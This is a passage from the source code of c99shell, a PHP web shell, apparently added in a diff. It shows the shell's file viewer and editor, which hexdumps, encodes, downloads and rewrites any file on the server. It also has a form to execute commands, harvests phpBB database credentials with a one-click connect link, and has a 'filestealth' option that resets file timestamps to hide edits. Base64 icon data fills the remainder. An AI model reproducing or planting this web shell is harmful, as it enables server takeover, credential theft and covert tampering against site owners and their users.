src=\"".$surl."act=img&img=ext_diz\" border=\"0\">","info"), + array("<img src=\"".$surl."act=img&img=ext_html\" border=\"0\">","html"), + array("<img src=\"".$surl."act=img&img=ext_txt\" border=\"0\">","txt"), + array("Code","code"), + array("Session","phpsess"), + array("<img src=\"".$surl."act=img&img=ext_exe\" border=\"0\">","exe"), + array("SDB","sdb"), + array("<img src=\"".$surl."act=img&img=ext_gif\" border=\"0\">","img"), + array("<img src=\"".$surl."act=img&img=ext_ini\" border=\"0\">","ini"), + array("<img src=\"".$surl."act=img&img=download\" border=\"0\">","download"), + array("<img src=\"".$surl."act=img&img=ext_rtf\" border=\"0\">","notepad"), + array("<img src=\"".$surl."act=img&img=change\" border=\"0\">","edit") + ); + echo "<b>Viewing file:&nbsp;&nbsp;&nbsp;&nbsp;<img src=\"".$surl."act=img&img=ext_".$ext."\" border=\"0\">&nbsp;".$f." (".view_size(filesize($d.$f)).") &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;".view_perms_color($d.$f)."</b><br>Select action/file-type:<br>"; + foreach($arr as $t) + { + if ($t[1] == $rft) {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><font color=green>".$t[0]."</font></a>";} + elseif ($t[1] == $ft) {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b><u>".$t[0]."</u></b></a>";} + else {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b>".$t[0]."</b></a>";} + echo " (<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&white=1&d=".urlencode($d)."\" target=\"_blank\">+</a>) |"; + } + echo "<hr size=\"1\" noshade>"; + if ($ft == "info") + { + echo "<b>Information:</b><table border=0 cellspacing=1 cellpadding=2><tr><td><b>Path</b></td><td> ".$d.$f."</td></tr><tr><td><b>Size</b></td><td> ".view_size(filesize($d.$f))."</td></tr><tr><td><b>MD5</b></td><td> ".md5_file($d.$f)."</td></tr>"; + if (!$win) + { + echo "<tr><td><b>Owner/Group</b></td><td> "; + $ow = posix_getpwuid(fileowner($d.$f)); + $gr = posix_getgrgid(filegroup($d.$f)); + echo ($ow["name"]?$ow["name"]:fileowner($d.$f))."/".($gr["name"]?$gr["name"]:filegroup($d.$f)); + } + echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."act=chmod&f=".urlencode($f)."&d=".urlencode($d)."\">".view_perms_color($d.$f)."</a></td></tr><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d.$f))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d.$f))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d.$f))."</td></tr></table><br>"; + $fi = fopen($d.$f,"rb"); + if ($fi) + { + if ($fullhexdump) {echo "<b>FULL HEXDUMP</b>"; $str = fread($fi,filesize($d.$f));} + else {echo "<b>HEXDUMP PREVIEW</b>"; $str = fread($fi,$hexdump_lines*$hexdump_rows);} + $n = 0; + $a0 = "00000000<br>"; + $a1 = ""; + $a2 = ""; + for ($i=0; $i<strlen($str); $i++) + { + $a1 .= sprintf("%02X",ord($str[$i]))." "; + switch (ord($str[$i])) + { + case 0: $a2 .= "<font>0</font>"; break; + case 32: + case 10: + case 13: $a2 .= "&nbsp;"; break; + default: $a2 .= htmlspecialchars($str[$i]); + } + $n++; + if ($n == $hexdump_rows) + { + $n = 0; + if ($i+1 < strlen($str)) {$a0 .= sprintf("%08X",$i+1)."<br>";} + $a1 .= "<br>"; + $a2 .= "<br>"; + } + } + //if ($a1 != "") {$a0 .= sprintf("%08X",$i)."<br>";} + echo "<table border=0 bgcolor=#666666 cellspacing=1 cellpadding=4><tr><td bgcolor=#666666>".$a0."</td><td bgcolor=000000>".$a1."</td><td bgcolor=000000>".$a2."</td></tr></table><br>"; + } + $encoded = ""; + if ($base64 == 1) + { + echo "<b>Base64 Encode</b><br>"; + $encoded = base64_encode(file_get_contents($d.$f)); + } + elseif($base64 == 2) + { + echo "<b>Base64 Encode + Chunk</b><br>"; + $encoded = chunk_split(base64_encode(file_get_contents($d.$f))); + } + elseif($base64 == 3) + { + echo "<b>Base64 Encode + Chunk + Quotes</b><br>"; + $encoded = base64_encode(file_get_contents($d.$f)); + $encoded = substr(preg_replace("!.{1,76}!","'\\0'.\n",$encoded),0,-2); + } + elseif($base64 == 4) + { + $text = file_get_contents($d.$f); + $encoded = base64_decode($text); + echo "<b>Base64 Decode"; + if (base64_encode($encoded) != $text) {echo " (failed)";} + echo "</b><br>"; + } + if (!empty($encoded)) + { + echo "<textarea cols=80 rows=10>".htmlspecialchars($encoded)."</textarea><br><br>"; + } + echo "<b>HEXDUMP:</b><nobr> [<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&fullhexdump=1&d=".urlencode($d)."\">Full</a>] [<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&d=".urlencode($d)."\">Preview</a>]<br><b>Base64: </b> +<nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=1&d=".urlencode($d)."\">Encode</a>]&nbsp;</nobr> +<nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=2&d=".urlencode($d)."\">+chunk</a>]&nbsp;</nobr> +<nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=3&d=".urlencode($d)."\">+chunk+quotes</a>]&nbsp;</nobr> +<nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=4&d=".urlencode($d)."\">Decode</a>]&nbsp;</nobr> +<P>"; + } + elseif ($ft == "html") + { + if ($white) {@ob_clean();} + echo $r; + if ($white) {c99shexit();} + } + elseif ($ft == "txt") {echo "<pre>".htmlspecialchars($r)."</pre>";} + elseif ($ft == "ini") {echo "<pre>"; var_dump(parse_ini_file($d.$f,true)); echo "</pre>";} + elseif ($ft == "phpsess") + { + echo "<pre>"; + $v = explode("|",$r); + echo $v[0]."<br>"; + var_dump(unserialize($v[1])); + echo "</pre>"; + } + elseif ($ft == "exe") + { + $ext = explode(".",$f); + $c = count($ext)-1; + $ext = $ext[$c]; + $ext = strtolower($ext); + $rft = ""; + foreach($exeftypes as $k=>$v) + { + if (in_array($ext,$v)) {$rft = $k; break;} + } + $cmd = str_replace("%f%",$f,$rft); + echo "<b>Execute file:</b><form action=\"".$surl."\" method=POST><input type=hidden name=act value=cmd><input type=\"text\" name=\"cmd\" value=\"".htmlspecialchars($cmd)."\" size=\"".(strlen($cmd)+2)."\"><br>Display in text-area<input type=\"checkbox\" name=\"cmd_txt\" value=\"1\" checked><input type=hidden name=\"d\" value=\"".htmlspecialchars($d)."\"><br><input type=submit name=submit value=\"Execute\"></form>"; + } + elseif ($ft == "sdb") {echo "<pre>"; var_dump(unserialize(base64_decode($r))); echo "</pre>";} + elseif ($ft == "code") + { + if (ereg("php"."BB 2.(.*) auto-generated config file",$r)) + { + $arr = explode("\n",$r); + if (count($arr == 18)) + { + include($d.$f); + echo "<b>phpBB configuration is detected in this file!<br>"; + if ($dbms == "mysql4") {$dbms = "mysql";} + if ($dbms == "mysql") {echo "<a href=\"".$surl."act=sql&sql_server=".htmlspecialchars($dbhost)."&sql_login=".htmlspecialchars($dbuser)."&sql_passwd=".htmlspecialchars($dbpasswd)."&sql_port=3306&sql_db=".htmlspecialchars($dbname)."\"><b><u>Connect to DB</u></b></a><br><br>";} + else {echo "But, you can't connect to forum sql-base, because db-software=\"".$dbms."\" is not supported by c99shell. Please, report us for fix.";} + echo "Parameters for manual connect:<br>"; + $cfgvars = array("dbms"=>$dbms,"dbhost"=>$dbhost,"dbname"=>$dbname,"dbuser"=>$dbuser,"dbpasswd"=>$dbpasswd); + foreach ($cfgvars as $k=>$v) {echo htmlspecialchars($k)."='".htmlspecialchars($v)."'<br>";} + echo "</b><hr size=\"1\" noshade>"; + } + } + echo "<div style=\"border : 0px solid #FFFFFF; padding: 1em; margin-top: 1em; margin-bottom: 1em; margin-right: 1em; margin-left: 1em; background-color: ".$highlight_background .";\">"; + if (!empty($white)) {@ob_clean();} + highlight_file($d.$f); + if (!empty($white)) {c99shexit();} + echo "</div>"; + } + elseif ($ft == "download") + { + @ob_clean(); + header("Content-type: application/octet-stream"); + header("Content-length: ".filesize($d.$f)); + header("Content-disposition: attachment; filename=\"".$f."\";"); + echo $r; + exit; + } + elseif ($ft == "notepad") + { + @ob_clean(); + header("Content-type: text/plain"); + header("Content-disposition: attachment; filename=\"".$f.".txt\";"); + echo($r); + exit; + } + elseif ($ft == "img") + { + $inf = getimagesize($d.$f); + if (!$white) + { + if (empty($imgsize)) {$imgsize = 20;} + $width = $inf[0]/100*$imgsize; + $height = $inf[1]/100*$imgsize; + echo "<center><b>Size:</b>&nbsp;"; + $sizes = array("100","50","20"); + foreach ($sizes as $v) + { + echo "<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=img&d=".urlencode($d)."&imgsize=".$v."\">"; + if ($imgsize != $v ) {echo $v;} + else {echo "<u>".$v."</u>";} + echo "</a>&nbsp;&nbsp;&nbsp;"; + } + echo "<br><br><img src=\"".$surl."act=f&f=".urlencode($f)."&ft=img&white=1&d=".urlencode($d)."\" width=\"".$width."\" height=\"".$height."\" border=\"1\"></center>"; + } + else + { + @ob_clean(); + $ext = explode($f,"."); + $ext = $ext[count($ext)-1]; + header("Content-type: ".$inf["mime"]); + readfile($d.$f); + exit; + } + } + elseif ($ft == "edit") + { + if (!empty($submit)) + { + if ($filestealth) {$stat = stat($d.$f);} + $fp = fopen($d.$f,"w"); + if (!$fp) {echo "<b>Can't write to file!</b>";} + else + { + echo "<b>Saved!</b>"; + fwrite($fp,$edit_text); + fclose($fp); + if ($filestealth) {touch($d.$f,$stat[9],$stat[8]);} + $r = $edit_text; + } + } + $rows = count(explode("\r\n",$r)); + if ($rows < 10) {$rows = 10;} + if ($rows > 30) {$rows = 30;} + echo "<form action=\"".$surl."act=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."\" method=POST><input type=submit name=submit value=\"Save\">&nbsp;<input type=\"reset\" value=\"Reset\">&nbsp;<input type=\"button\" onclick=\"location.href='".addslashes($surl."act=ls&d=".substr($d,0,-1))."';\" value=\"Back\"><br><textarea name=\"edit_text\" cols=\"122\" rows=\"".$rows."\">".htmlspecialchars($r)."</textarea></form>"; + } + elseif (!empty($ft)) {echo "<center><b>Manually selected type is incorrect. If you think, it is mistake, please send us url and dump of \$GLOBALS.</b></center>";} + else {echo "<center><b>Unknown extension (".$ext."), please, select type manually.</b></center>";} + } +} +} +else +{ + @ob_clean(); + $images = array( +"arrow_ltr"=> +"R0lGODlhJgAWAIAAAAAAAP///yH5BAUUAAEALAAAAAAmABYAAAIvjI+py+0PF4i0gVvzuVxXDnoQ". +"SIrUZGZoerKf28KjPNPOaku5RfZ+uQsKh8RiogAAOw==", +"back"=> +"R0lGODlhFAAUAKIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8". +"aLrc/jDKSWWpjVysSNiYJ4CUOBJoqjniILzwuzLtYN/3zBSErf6kBW+gKRiPRghPh+EFK0mOUEqt". +"Wg0JADs=", +"buffer"=> +"R0lGODlhFAAUAKIAAAAAAP////j4+N3d3czMzLKysoaGhv///yH5BAEAAAcALAAAAAAUABQAAANo". +"eLrcribG90y4F1Amu5+NhY2kxl2CMKwrQRSGuVjp4LmwDAWqiAGFXChg+xhnRB+ptLOhai1crEmD". +"Dlwv4cEC46mi2YgJQKaxsEGDFnnGwWDTEzj9jrPRdbhuG8Cr/2INZIOEhXsbDwkAOw==", +"change"=> +"R0lGODlhFAAUAMQfAL3hj7nX+pqo1ejy/f7YAcTb+8vh+6FtH56WZtvr/RAQEZecx9Ll/PX6/v3+". +"/3eHt6q88eHu/ZkfH3yVyIuQt+72/kOm99fo/P8AZm57rkGS4Hez6pil9oep3GZmZv///yH5BAEA". +"AB8ALAAAAAAUABQAAAWf4CeOZGme6NmtLOulX+c4TVNVQ7e9qFzfg4HFonkdJA5S54cbRAoFyEOC". +"wSiUtmYkkrgwOAeA5zrqaLldBiNMIJeD266XYTgQDm5Rx8mdG+oAbSYdaH4Ga3c8JBMJaXQGBQgA". +"CHkjE4aQkQ0AlSITan+ZAQqkiiQPj1AFAaMKEKYjD39QrKwKAa8nGQK8Agu/CxTCsCMexsfIxjDL". +"zMshADs=", +"delete"=> +"R0lGODlhFAAUAOZZAPz8/NPFyNgHLs0YOvPz8/b29sacpNXV1fX19cwXOfDw8Kenp/n5+etgeunp". +"6dcGLMMpRurq6pKSktvb2+/v7+1wh3R0dPnP17iAipxyel9fX7djcscSM93d3ZGRkeEsTevd4LCw". +"sGRkZGpOU+IfQ+EQNoh6fdIcPeHh4YWFhbJQYvLy8ui+xm5ubsxccOx8kcM4UtY9WeAdQYmJifWv". +"vHx8fMnJycM3Uf3v8rRue98ONbOzs9YFK5SUlKYoP+Tk5N0oSufn57ZGWsQrR9kIL5CQkOPj42Vl". +"ZeAPNudAX9sKMPv7+15QU5ubm39/f8e5u4xiatra2ubKz8PDw+pfee9/lMK0t81rfd8AKf///wAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5". +"BAEAAFkALAAAAAAUABQAAAesgFmCg4SFhoeIhiUfIImIMlgQB46GLAlYQkaFVVhSAIZLT5cbEYI4". +"STo5MxOfhQwBA1gYChckQBk1OwiIALACLkgxJilTBI69RFhDFh4HDJRZVFgPPFBR0FkNWDdMHA8G". +"BZTaMCISVgMC4IkVWCcaPSi96OqGNFhKI04dgr0QWFcKDL3A4uOIjVZZABxQIWDBLkIEQrRoQsHQ". +"jwVFHBgiEGQFIgQasYkcSbJQIAA7", +"download"=> +"R0lGODlhFAAUALMIAAD/AACAAIAAAMDAwH9/f/8AAP///wAAAP///wAAAAAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAgALAAAAAAUABQAAAROEMlJq704UyGOvkLhfVU4kpOJSpx5nF9YiCtLf0SuH7pu". +"EYOgcBgkwAiGpHKZzB2JxADASQFCidQJsMfdGqsDJnOQlXTP38przWbX3qgIADs=", +"forward"=> +"R0lGODlhFAAUAPIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8". +"aLrc/jDK2Qp9xV5WiN5G50FZaRLD6IhE66Lpt3RDbd9CQFSE4P++QW7He7UKPh0IqVw2l0RQSEqt". +"WqsJADs=", +"home"=> +"R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzLKysoaGhmZmZgQEBP///wAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAkALAAAAAAUABQAAAR+MMk5TTWI6ipyMoO3cUWRgeJoCCaLoKO0mq0ZxjNSBDWS". +"krqAsLfJ7YQBl4tiRCYFSpPMdRRCoQOiL4i8CgZgk09WfWLBYZHB6UWjCequwEDHuOEVK3QtgN/j". +"VwMrBDZvgF+ChHaGeYiCBQYHCH8VBJaWdAeSl5YiW5+goBIRADs=", +"mode"=> +"R0lGODlhHQAUALMAAAAAAP///6CgpN3d3czMzIaGhmZmZl9fX////wAAAAAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAgALAAAAAAdABQAAASBEMlJq70461m6/+AHZMUgnGiqniNWHHAsz3F7FUGu73xO". +"2BZcwGDoEXk/Uq4ICACeQ6fzmXTlns0ddle99b7cFvYpER55Z10Xy1lKt8wpoIsACrdaqBpYEYK/". +"dH1LRWiEe0pRTXBvVHwUd3o6eD6OHASXmJmamJUSY5+gnxujpBIRADs=", +"refresh"=> +"R0lGODlhEQAUALMAAAAAAP////Hx8erq6uPj493d3czMzLKysoaGhmZmZl9fXwQEBP///wAAAAAA". +"AAAAACH5BAEAAAwALAAAAAARABQAAAR1kMlJq0Q460xR+GAoIMvkheIYlMyJBkJ8lm6YxMKi6zWY". +"3AKCYbjo/Y4EQqFgKIYUh8EvuWQ6PwPFQJpULpunrXZLrYKx20G3oDA7093Esv19q5O/woFu9ZAJ". +"R3lufmWCVX13h3KHfWWMjGBDkpOUTTuXmJgRADs=", +"search"=> +"R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzMDAwLKysoaGhnd3d2ZmZl9fX01NTSkpKQQEBP//". +"/wAAACH5BAEAAA4ALAAAAAAUABQAAASn0Ml5qj0z5xr6+JZGeUZpHIqRNOIRfIYiy+a6vcOpHOap". +"s5IKQccz8XgK4EGgQqWMvkrSscylhoaFVmuZLgUDAnZxEBMODSnrkhiSCZ4CGrUWMA+LLDxuSHsD". +"AkN4C3sfBX10VHaBJ4QfA4eIU4pijQcFmCVoNkFlggcMRScNSUCdJyhoDasNZ5MTDVsXBwlviRmr". +"Cbq7C6sIrqawrKwTv68iyA6rDhEAOw==", +"setup"=> +"R0lGODlhFAAUAMQAAAAAAP////j4+OPj493d3czMzMDAwLKyspaWloaGhnd3d2ZmZl9fX01NTUJC". +"QhwcHP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA". +"ABAALAAAAAAUABQAAAWVICSKikKWaDmuShCUbjzMwEoGhVvsfHEENRYOgegljkeg0PF4KBIFRMIB". +"qCaCJ4eIGQVoIVWsTfQoXMfoUfmMZrgZ2GNDPGII7gJDLYErwG1vgW8CCQtzgHiJAnaFhyt2dwQE". +"OwcMZoZ0kJKUlZeOdQKbPgedjZmhnAcJlqaIqUesmIikpEixnyJhulUMhg24aSO6YyEAOw==", +"small_dir"=> +"R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp". +"/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs=", +"small_unk"=> +"R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAIep3BE9mllic3B5iVpjdMvh/MLc+y1U". +"p9Pm/GVufc7j/MzV/9Xm/EOm99bn/Njp/a7Q+tTm/LHS+eXw/t3r/Nnp/djo/Nrq/fj7/9vq/Nfo". +"/Mbe+8rh/Mng+7jW+rvY+r7Z+7XR9dDk/NHk/NLl/LTU+rnX+8zi/LbV++fx/e72/vH3/vL4/u31". +"/e31/uDu/dzr/Orz/eHu/fX6/vH4/v////v+/3ez6vf7//T5/kGS4Pv9/7XV+rHT+r/b+rza+vP4". +"/uz0/urz/u71/uvz/dTn/M/k/N3s/dvr/cjg+8Pd+8Hc+sff+8Te+/D2/rXI8rHF8brM87fJ8nmP". +"wr3N86/D8KvB8F9neEFotEBntENptENptSxUpx1IoDlfrTRcrZeeyZacxpmhzIuRtpWZxIuOuKqz". +"9ZOWwX6Is3WIu5im07rJ9J2t2Zek0m57rpqo1nKCtUVrtYir3vf6/46v4Yuu4WZvfr7P6sPS6sDQ". +"66XB6cjZ8a/K79/s/dbn/ezz/czd9mN0jKTB6ai/76W97niXz2GCwV6AwUdstXyVyGSDwnmYz4io". +"24Oi1a3B45Sy4ae944Ccz4Sj1n2GlgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAjnACtVCkCw4JxJAQQqFBjAxo0MNGqsABQAh6CFA3nk0MHiRREVDhzsoLQwAJ0gT4ToecSHAYMz". +"aQgoDNCCSB4EAnImCiSBjUyGLobgXBTpkAA5I6pgmSkDz5cuMSz8yWlAyoCZFGb4SQKhASMBXJpM". +"uSrQEQwkGjYkQCTAy6AlUMhWklQBw4MEhgSA6XPgRxS5ii40KLFgi4BGTEKAsCKXihESCzrsgSQC". +"yIkUV+SqOYLCA4csAup86OGDkNw4BpQ4OaBFgB0TEyIUKqDwTRs4a9yMCSOmDBoyZu4sJKCgwIDj". +"yAsokBkQADs=", +"multipage"=>"R0lGODlhCgAMAJEDAP/////3mQAAAAAAACH5BAEAAAMALAAAAAAKAAwAAAIj3IR". +"pJhCODnovidAovBdMzzkixlXdlI2oZpJWEsSywLzRUAAAOw==", +"sort_asc"=> +"R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMa". +"SLrcPcE9GKUaQlQ5sN5PloFLJ35OoK6q5SYAOw==", +"sort_desc"=> +"R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMb". +"SLrcOjBCB4UVITgyLt5ch2mgSJZDBi7p6hIJADs=", +"sql_button_drop"=> +"R0lGODlhCQALAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/". +"/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm". +"AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/". +"MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm". +"ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/". +"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm". +"zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/". +"/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ". +"AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA". +"M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ". +"ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A". +"mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z". +"zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAAJAAsA". +"AAg4AP8JREFQ4D+CCBOi4MawITeFCg/iQhEPxcSBlFCoQ5Fx4MSKv1BgRGGMo0iJFC2ehHjSoMt/". +"AQEAOw==", +"sql_button_empty"=> +"R0lGODlhCQAKAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/". +"/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm". +"AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/". +"MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm". +"ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/". +"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm". +"zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/". +"/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ". +"AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA". +"M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ". +"ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A". +"mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z". +"zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAAJAAoA". +"AAgjAP8JREFQ4D+CCBOiMMhQocKDEBcujEiRosSBFjFenOhwYUAAOw==", +"sql_button_insert"=> +"R0lGODlhDQAMAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/". +"/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm". +"AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/". +"MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm". +"ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/". +"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm". +"zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/". +"/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ". +"AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA". +"M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ". +"ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A". +"mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z". +"zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAANAAwA". +"AAgzAFEIHEiwoMGDCBH6W0gtoUB//1BENOiP2sKECzNeNIiqY0d/FBf+y0jR48eQGUc6JBgQADs=", +"up"=> +"R0lGODlhFAAUALMAAAAAAP////j4+OPj493d3czMzLKysoaGhk1NTf///wAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJq734ns1PnkcgjgXwhcNQrIVhmFonzxwQjnie27jg". +"+4Qgy3XgBX4IoHDlMhRvggFiGiSwWs5XyDftWplEJ+9HQCyx2c1YEDRfwwfxtop4p53PwLKOjvvV". +"IXtdgwgdPGdYfng1IVeJaTIAkpOUlZYfHxEAOw==", +"write"=> +"R0lGODlhFAAUALMAAAAAAP///93d3czMzLKysoaGhmZmZl9fXwQEBP///wAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJqyzFalqEQJuGEQSCnWg6FogpkHAMF4HAJsWh7/ze". +"EQYQLUAsGgM0Wwt3bCJfQSFx10yyBlJn8RfEMgM9X+3qHWq5iED5yCsMCl111knDpuXfYls+IK61". 